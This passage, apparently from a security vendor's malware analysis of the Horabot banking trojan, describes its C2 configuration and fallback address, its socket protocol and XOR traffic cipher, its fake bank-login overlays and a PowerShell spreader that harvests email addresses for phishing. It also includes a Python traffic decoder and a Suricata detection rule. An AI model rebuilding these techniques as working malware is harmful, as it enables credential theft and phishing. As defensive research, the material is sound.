class=\"wp-caption-text\">Indexed strings via TStringList lookups<\/p>\n<\/div>\n<p>The malware fetches its configuration by performing an HTTPS GET request to the hardcoded, encrypted C2 server. The server responds with a configuration \u2013 a raw HTTP response \u2013 consisting of several values, each individually encrypted with the aforementioned algorithm. The sample extracts specific parameters based on their position in the list.<\/p>\n<div id=\"attachment_119053\" style=\"width: 1335px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24182414\/horabot-campaign12.png\" class=\"magnificImage\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-119053\" class=\"size-full wp-image-119053\" src=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24182414\/horabot-campaign12.png\" alt=\"Decrypted configuration values (root password redacted)\" width=\"1325\" height=\"771\" srcset=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24182414\/horabot-campaign12.png 1325w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24182414\/horabot-campaign12-300x175.png 300w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24182414\/horabot-campaign12-1024x596.png 1024w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24182414\/horabot-campaign12-768x447.png 768w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24182414\/horabot-campaign12-601x350.png 601w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24182414\/horabot-campaign12-740x431.png 740w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24182414\/horabot-campaign12-481x280.png 481w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24182414\/horabot-campaign12-800x466.png 800w\" sizes=\"auto, (max-width: 1325px) 100vw, 1325px\"><\/a><\/p>\n<p id=\"caption-attachment-119053\" class=\"wp-caption-text\">Decrypted configuration values (root password redacted)<\/p>\n<\/div>\n<p>To improve readability, the above screenshot has been edited to include the decrypted parameters, which are separated by double newlines.<\/p>\n<p>Configuration retrieval and parsing are initiated in the <code>sub_00AD2C70<\/code> subroutine where the first configuration value, the C2 socket connection setting (<code>host;port<\/code>), is extracted.<\/p>\n<div id=\"attachment_119054\" style=\"width: 702px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24182537\/horabot-campaign13.png\" class=\"magnificImage\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-119054\" class=\"size-full wp-image-119054\" src=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24182537\/horabot-campaign13.png\" alt=\"C2 socket address extraction\" width=\"692\" height=\"555\" srcset=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24182537\/horabot-campaign13.png 692w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24182537\/horabot-campaign13-300x241.png 300w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24182537\/horabot-campaign13-500x400.png 500w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24182537\/horabot-campaign13-436x350.png 436w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24182537\/horabot-campaign13-349x280.png 349w\" sizes=\"auto, (max-width: 692px) 100vw, 692px\"><\/a><\/p>\n<p id=\"caption-attachment-119054\" class=\"wp-caption-text\">C2 socket address extraction<\/p>\n<\/div>\n<p>If parsing fails, the malware falls back to a hardcoded secondary C2 socket address. The socket connection is then established.<\/p>\n<\/p>\n<div id=\"attachment_119055\" style=\"width: 1175px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24182634\/horabot-campaign14.png\" class=\"magnificImage\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-119055\" class=\"size-full wp-image-119055\" src=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24182634\/horabot-campaign14.png\" alt=\"Fallback to hardcoded socket address (lifenews[.]pro:49569)\" width=\"1165\" height=\"570\" srcset=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24182634\/horabot-campaign14.png 1165w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24182634\/horabot-campaign14-300x147.png 300w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24182634\/horabot-campaign14-1024x501.png 1024w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24182634\/horabot-campaign14-768x376.png 768w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24182634\/horabot-campaign14-715x350.png 715w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24182634\/horabot-campaign14-740x362.png 740w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24182634\/horabot-campaign14-572x280.png 572w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24182634\/horabot-campaign14-800x391.png 800w\" sizes=\"auto, (max-width: 1165px) 100vw, 1165px\"><\/a><\/p>\n<p id=\"caption-attachment-119055\" class=\"wp-caption-text\">Fallback to hardcoded socket address (lifenews[.]pro:49569)<\/p>\n<\/div>\n<p>Additional configuration values are parsed in <code>sub_00AD2918<\/code> and its subroutines. For example, in the decrypted C2 configuration shown above, parameter 5 contains the \u201cUPON\u201d string that triggers execution, and parameter 6 contains the PowerShell commands that are run when this string is used. Below is the portion of the routine that takes care of parsing this command:<\/p>\n<div id=\"attachment_119056\" style=\"width: 1032px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24182723\/horabot-campaign15.png\" class=\"magnificImage\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-119056\" class=\"size-full wp-image-119056\" src=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24182723\/horabot-campaign15.png\" alt=\"Extracting value 5 and 6 from the configuration\" width=\"1022\" height=\"542\" srcset=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24182723\/horabot-campaign15.png 1022w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24182723\/horabot-campaign15-300x159.png 300w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24182723\/horabot-campaign15-768x407.png 768w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24182723\/horabot-campaign15-660x350.png 660w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24182723\/horabot-campaign15-740x392.png 740w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24182723\/horabot-campaign15-528x280.png 528w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24182723\/horabot-campaign15-800x424.png 800w\" sizes=\"auto, (max-width: 1022px) 100vw, 1022px\"><\/a><\/p>\n<p id=\"caption-attachment-119056\" class=\"wp-caption-text\">Extracting value 5 and 6 from the configuration<\/p>\n<\/div>\n<p>In addition to HTTP communication, the malware supports raw socket communication using a custom protocol that encapsulates commands into tags such as <code>&lt;|SIMPLE_TAG|&gt;<\/code> or <code>&lt;|TAG|&gt;Arg1&lt;|&gt;Arg2&lt;&lt;|&gt;<\/code>.<\/p>\n<p>The client initiates the C2 connection in <code>sub_00AD331C<\/code>, where it establishes a TCP socket to the operator\u2019s server and sends the <code>\"PRINCIPAL\"<\/code> command to request a control channel. After receiving an OK response, it follows up with an <code>\"Info\"<\/code> message containing system details. Once validated, the server replies with a <code>\"SocketMain\"<\/code> message containing a session ID, completing the handshake. All subsequent command handling occurs in <code>sub_00AD373C<\/code>, a central orchestrator routine that parses incoming messages and dispatches the malicious actions.<\/p>\n<p>The sample, and therefore the protocol itself, is inherited, from the open-source <a href=\"https:\/\/github.com\/abalad\/Delphi_Remote_Access_PC\" target=\"_blank\" rel=\"noopener\">Delphi Remote Access PC project<\/a>, as our colleagues at ESET have <a href=\"https:\/\/www.welivesecurity.com\/2019\/10\/03\/casbaneiro-trojan-dangerous-cooking\/#characteristics\" target=\"_blank\" rel=\"noopener\">noted<\/a> in the past. Below is a visual comparison:<\/p>\n<div id=\"attachment_119057\" style=\"width: 1542px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24183109\/horabot-campaign16.png\" class=\"magnificImage\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-119057\" class=\"size-full wp-image-119057\" src=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24183109\/horabot-campaign16.png\" alt='Comparison of \"PING\" and \"Close\" commands (sample disassembly on the left, Delphi Remote Access source code on the right)' width=\"1532\" height=\"453\" srcset=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24183109\/horabot-campaign16.png 1532w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24183109\/horabot-campaign16-300x89.png 300w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24183109\/horabot-campaign16-1024x303.png 1024w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24183109\/horabot-campaign16-768x227.png 768w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24183109\/horabot-campaign16-1184x350.png 1184w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24183109\/horabot-campaign16-740x219.png 740w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24183109\/horabot-campaign16-947x280.png 947w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24183109\/horabot-campaign16-800x237.png 800w\" sizes=\"auto, (max-width: 1532px) 100vw, 1532px\"><\/a><\/p>\n<p id=\"caption-attachment-119057\" class=\"wp-caption-text\">Comparison of \u201cPING\u201d and \u201cClose\u201d commands (sample disassembly on the left, Delphi Remote Access source code on the right)<\/p>\n<\/div>\n<p>Some features from the open-source project, including the chat and file manipulation commands, have been removed, while some mouse-related commands have been renamed with playful prefixes like \u201cLULUZ\u201d (e.g., <code>LULUZLD<\/code>, <code>LULUZPos<\/code>). This could be an inside joke, anti-analysis obfuscation, or a way to mark custom variants. Beyond the standard functionality, the protocol now includes a range of additional custom commands, such as <code>LULUZSD<\/code> for mouse wheel scrolling down, <code>ENTERMANDA<\/code> to simulate pressing the Enter key, and <code>COLADIFKEYBOARD<\/code> to inject arbitrary text as keystrokes.<\/p>\n<p>The full command set is considerably larger, and while not all commands are implemented in the analyzed sample, evidence of their presence (e.g., in the form of strings) suggests ongoing development.<\/p>\n<p>After getting a sense of the protocol, let\u2019s focus on the cipher used. In this sample, traffic exchanged via the C2 socket channel is encrypted using another stateful XOR algorithm with embedded decryption keys. Its logic is implemented in the routines <code>sub_00A9F2D0<\/code> (encryption) and <code>sub_00A9F5C0<\/code> (decryption):<\/p>\n<div id=\"attachment_119058\" style=\"width: 1057px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24183232\/horabot-campaign17.png\" class=\"magnificImage\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-119058\" class=\"size-full wp-image-119058\" src=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24183232\/horabot-campaign17.png\" alt=\"Encryption routine sub_00A9F2D0\" width=\"1047\" height=\"616\" srcset=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24183232\/horabot-campaign17.png 1047w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24183232\/horabot-campaign17-300x177.png 300w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24183232\/horabot-campaign17-1024x602.png 1024w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24183232\/horabot-campaign17-768x452.png 768w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24183232\/horabot-campaign17-595x350.png 595w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24183232\/horabot-campaign17-740x435.png 740w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24183232\/horabot-campaign17-476x280.png 476w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24183232\/horabot-campaign17-800x471.png 800w\" sizes=\"auto, (max-width: 1047px) 100vw, 1047px\"><\/a><\/p>\n<p id=\"caption-attachment-119058\" class=\"wp-caption-text\">Encryption routine sub_00A9F2D0<\/p>\n<\/div>\n<p>The encryption routine generates three random four-digit integer keys. The first key acts as the initial cipher state, while the other two serve as the multiplier and increment that are applied at every encryption stage to both the state and the data. For each character in the input string, it takes the high byte of the current state, XORs it with the character to encrypt, and then updates the cipher state for the next character. The output is created by appending the three keys to the ciphertext, encapsulating everything within the \u201c##\u201d markers. The final output looks like this:<\/p>\n<pre class=\"urvanov-syntax-highlighter-plain-tag\">##[key1][key2][key3][encrypted_hex_data]##<\/pre>\n<p>Here\u2019s a Python snippet to decode such traffic:<\/p>\n<pre class=\"urvanov-syntax-highlighter-plain-tag\">def deobfuscate_traffic(obfuscated):\r\n    if not (obfuscated.startswith(\"##\") and obfuscated.endswith(\"##\")):\r\n        raise ValueError(\"Invalid format\")\r\n\r\n    core = obfuscated[2:-2]\r\n    \r\n    key1 = int(core[0:4])\r\n    key2 = int(core[4:8])\r\n    key3 = int(core[8:12])\r\n    \r\n    hex_data = core[12:]\r\n    \r\n    current_key = key1\r\n    output_chars = []\r\n    \r\n    for i in range(0, len(hex_data), 2):\r\n        xored = int(hex_data[i:i+2], 16)\r\n        \r\n        high_byte = (current_key &gt;&gt; 8) &amp; 0xFF\r\n        original_char = chr(xored ^ high_byte)\r\n        output_chars.append(original_char)\r\n        \r\n        current_key = ((current_key + xored) * key2 + key3) &amp; 0xFFFF\r\n    \r\n    return \"\".join(output_chars)<\/pre>\n<p>Although this encryption layer was likely intended to evade network inspection, it ironically makes detection easier due to its highly regular and repetitive structure. This pattern, including the external markers \u201c##\u201d, is uncommon in legitimate traffic and can be used as a reliable network signature for IDS\/IPS systems. Below is a Suricata rule that matches the described structure:<\/p>\n<pre class=\"urvanov-syntax-highlighter-plain-tag\">alert tcp any any -&gt; any any ( \r\n    msg:\"Horabot C2 socket communication (##hex##)\"; \r\n    flow:established; \r\n    content:\"##\"; depth:2; fast_pattern; \r\n    content:\"##\"; endswith; \r\n    pcre:\"\/^##[1-9][0-9]{3}[1-9][0-9]{3}[1-9][0-9]{3}[0-9A-F]+##$\/\"; \r\n    classtype:trojan-activity; \r\n    sid:1900000; \r\n    rev:1; \r\n    metadata:author Domenico; \r\n)<\/pre>\n<p>As <a href=\"https:\/\/www.fortinet.com\/blog\/threat-research\/horabot-unleashed-a-stealthy-phishing-threat\" target=\"_blank\" rel=\"noopener\">documented<\/a> by our colleagues at Fortinet, the malware contains functionality to display fake pop-ups prompting victims to enter their banking credentials. The images for these pop-ups are stored as encrypted resources. Unlike strings, resources are decrypted using the standard RC4 cipher, and the key <code>pega-avisao3234029284<\/code> is retrieved from the previous <code>TStringList<\/code> structure at offset 3FEh.<\/p>\n<div id=\"attachment_119059\" style=\"width: 1293px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24183501\/horabot-campaign18.png\" class=\"magnificImage\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-119059\" class=\"size-full wp-image-119059\" src=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24183501\/horabot-campaign18.png\" alt=\"Fake token overlay used for credential theft (right), with disassembly (left)\" width=\"1283\" height=\"629\" srcset=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24183501\/horabot-campaign18.png 1283w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24183501\/horabot-campaign18-300x147.png 300w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24183501\/horabot-campaign18-1024x502.png 1024w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24183501\/horabot-campaign18-768x377.png 768w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24183501\/horabot-campaign18-714x350.png 714w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24183501\/horabot-campaign18-740x363.png 740w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24183501\/horabot-campaign18-571x280.png 571w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24183501\/horabot-campaign18-800x392.png 800w\" sizes=\"auto, (max-width: 1283px) 100vw, 1283px\"><\/a><\/p>\n<p id=\"caption-attachment-119059\" class=\"wp-caption-text\">Fake token overlay used for credential theft (right), with disassembly (left)<\/p>\n<\/div>\n<p>The wordplay around \u201cpega a vis\u00e3o\u201d, Brazilian slang meaning \u201cget the picture\u201d figuratively, reveals an intentional cultural reference, supporting the already well-known Brazilian ties of the operators who have a native understanding of the language.<\/p>\n<p>Below is a collage of pictures where the targeted bank overlays are visible.<\/p>\n<div id=\"attachment_119060\" style=\"width: 1436px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24183552\/horabot-campaign19.png\" class=\"magnificImage\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-119060\" class=\"size-full wp-image-119060\" src=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24183552\/horabot-campaign19.png\" alt=\"Excerpt of decrypted fake overlays\" width=\"1426\" height=\"1321\" srcset=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24183552\/horabot-campaign19.png 1426w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24183552\/horabot-campaign19-300x278.png 300w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24183552\/horabot-campaign19-1024x949.png 1024w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24183552\/horabot-campaign19-768x711.png 768w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24183552\/horabot-campaign19-378x350.png 378w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24183552\/horabot-campaign19-740x686.png 740w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24183552\/horabot-campaign19-302x280.png 302w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24183552\/horabot-campaign19-800x741.png 800w\" sizes=\"auto, (max-width: 1426px) 100vw, 1426px\"><\/a><\/p>\n<p id=\"caption-attachment-119060\" class=\"wp-caption-text\">Excerpt of decrypted fake overlays<\/p>\n<\/div>\n<h3 id=\"stage-4-the-spreader\">Stage 4: The spreader<\/h3>\n<p>In our tests, we noticed that both the VBScript (the heavy lifter) and the Delphi DLL have overlapping functionality for downloading the next stage via PowerShell. Although they rely on different domains, they follow the same URL pattern.<\/p>\n<p><a href=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24183645\/horabot-campaign20.png\" class=\"magnificImage\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-119061\" src=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24183645\/horabot-campaign20.png\" alt=\"\" width=\"1404\" height=\"913\" srcset=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24183645\/horabot-campaign20.png 1404w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24183645\/horabot-campaign20-300x195.png 300w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24183645\/horabot-campaign20-1024x666.png 1024w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24183645\/horabot-campaign20-768x499.png 768w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24183645\/horabot-campaign20-538x350.png 538w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24183645\/horabot-campaign20-740x481.png 740w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24183645\/horabot-campaign20-431x280.png 431w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24183645\/horabot-campaign20-800x520.png 800w\" sizes=\"auto, (max-width: 1404px) 100vw, 1404px\"><\/a><\/p>\n<p>We tried accessing URLs meant for downloading the spreader. One returned nothing, while the other displayed a sequence of two PowerShell stagers before reaching the actual spreader.<\/p>\n<p><a href=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24183724\/horabot-campaign21.png\" class=\"magnificImage\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-119062\" src=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24183724\/horabot-campaign21.png\" alt=\"\" width=\"1220\" height=\"1047\" srcset=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24183724\/horabot-campaign21.png 1220w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24183724\/horabot-campaign21-300x257.png 300w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24183724\/horabot-campaign21-1024x879.png 1024w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24183724\/horabot-campaign21-768x659.png 768w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24183724\/horabot-campaign21-408x350.png 408w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24183724\/horabot-campaign21-740x635.png 740w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24183724\/horabot-campaign21-326x280.png 326w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24183724\/horabot-campaign21-800x687.png 800w\" sizes=\"auto, (max-width: 1220px) 100vw, 1220px\"><\/a><\/p>\n<p>In the second stager, we found several Base64-encoded URLs, but only one of them was active during our analysis. Based on comments found in the spreader code, we suspect that in previous versions or campaigns the spreader was assembled piece by piece from these other URLs. In our case, however, a single URL contained all the necessary code.<\/p>\n<p><a href=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24183804\/horabot-campaign22.png\" class=\"magnificImage\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-119063\" src=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24183804\/horabot-campaign22.png\" alt=\"\" width=\"1161\" height=\"773\" srcset=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24183804\/horabot-campaign22.png 1161w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24183804\/horabot-campaign22-300x200.png 300w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24183804\/horabot-campaign22-1024x682.png 1024w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24183804\/horabot-campaign22-768x511.png 768w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24183804\/horabot-campaign22-526x350.png 526w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24183804\/horabot-campaign22-740x493.png 740w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24183804\/horabot-campaign22-421x280.png 421w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24183804\/horabot-campaign22-800x533.png 800w\" sizes=\"auto, (max-width: 1161px) 100vw, 1161px\"><\/a><\/p>\n<p>Yes, we also wondered how PowerShell could possibly accept ASCII chaos as variable\/function names, but it <a href=\"https:\/\/learn.microsoft.com\/en-us\/powershell\/module\/microsoft.powershell.core\/about\/about_variables?view=powershell-7.5\" target=\"_blank\" rel=\"noopener\">does<\/a>. After cleaning up the messy naming convention and reviewing the well-commented routines (thanks, threat actor), we were able to identify its main duties:<\/p>\n<ul>\n<li>Harvest emails via the MAPI namespace;<\/li>\n<li>Exfiltrate unique email addresses to the C2;<\/li>\n<li>Clean up the outbox;<\/li>\n<li>Filter the exfiltrated email addresses against a blocklist of keywords;<\/li>\n<li>Prepare a phishing email containing a malicious PDF;<\/li>\n<li>Mass-distribute the email to the filtered addresses.<\/li>\n<\/ul>\n<p>One interesting point is that the spreader\u2019s code and comments allow us to extract some useful intel:<\/p>\n<p><a href=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24183853\/horabot-campaign23.png\" class=\"magnificImage\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-119064\" src=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24183853\/horabot-campaign23.png\" alt=\"\" width=\"1220\" height=\"1145\" srcset=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24183853\/horabot-campaign23.png 1220w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24183853\/horabot-campaign23-300x282.png 300w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24183853\/horabot-campaign23-1024x961.png 1024w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24183853\/horabot-campaign23-768x721.png 768w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24183853\/horabot-campaign23-373x350.png 373w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24183853\/horabot-campaign23-740x695.png 740w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24183853\/horabot-campaign23-298x280.png 298w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24183853\/horabot-campaign23-800x751.png 800w\" sizes=\"auto, (max-width: 1220px) 100vw, 1220px\"><\/a><\/p>\n<ul>\n<li>All comments are written in Brazilian Portuguese, which gives a strong indication of the threat actor\u2019s origin.<\/li>\n<li>It is fairly easy to distinguish comments written by a human from those most likely generated by an AI\/LLM; the latter are too formal and remarkably well-formatted. One of the human comments actually inspired the title of this article.<\/li>\n<li>One of the comments in the code reads \u201climpa a caixa de saida antes de sapecar\u201d. <em>Sapecar<\/em> has a very specific meaning that only Brazilian Portuguese speakers would naturally understand. The closest equivalent to this comment in English would be: <em>\u201cClear the outbox before you blast it off or let it rip.\u201d<\/em><\/li>\n<\/ul>\n<p>Our team tracked Horabot activity for a few months and compiled a collection of malicious attachment examples used in this campaign. They are all written in Spanish and urge the user to click a large button in the document to access a \u201cconfidential file\u201d or an \u201cinvoice\u201d. Clicking the button triggers the same infection chain described in this article.<\/p>\n<p><a href=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/03\/18103905\/horabot-campaign-collage.png\" class=\"magnificImage\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/03\/18103905\/horabot-campaign-collage.png\" alt=\"\" width=\"844\" height=\"1187\" class=\"aligncenter size-full wp-image-119207\" 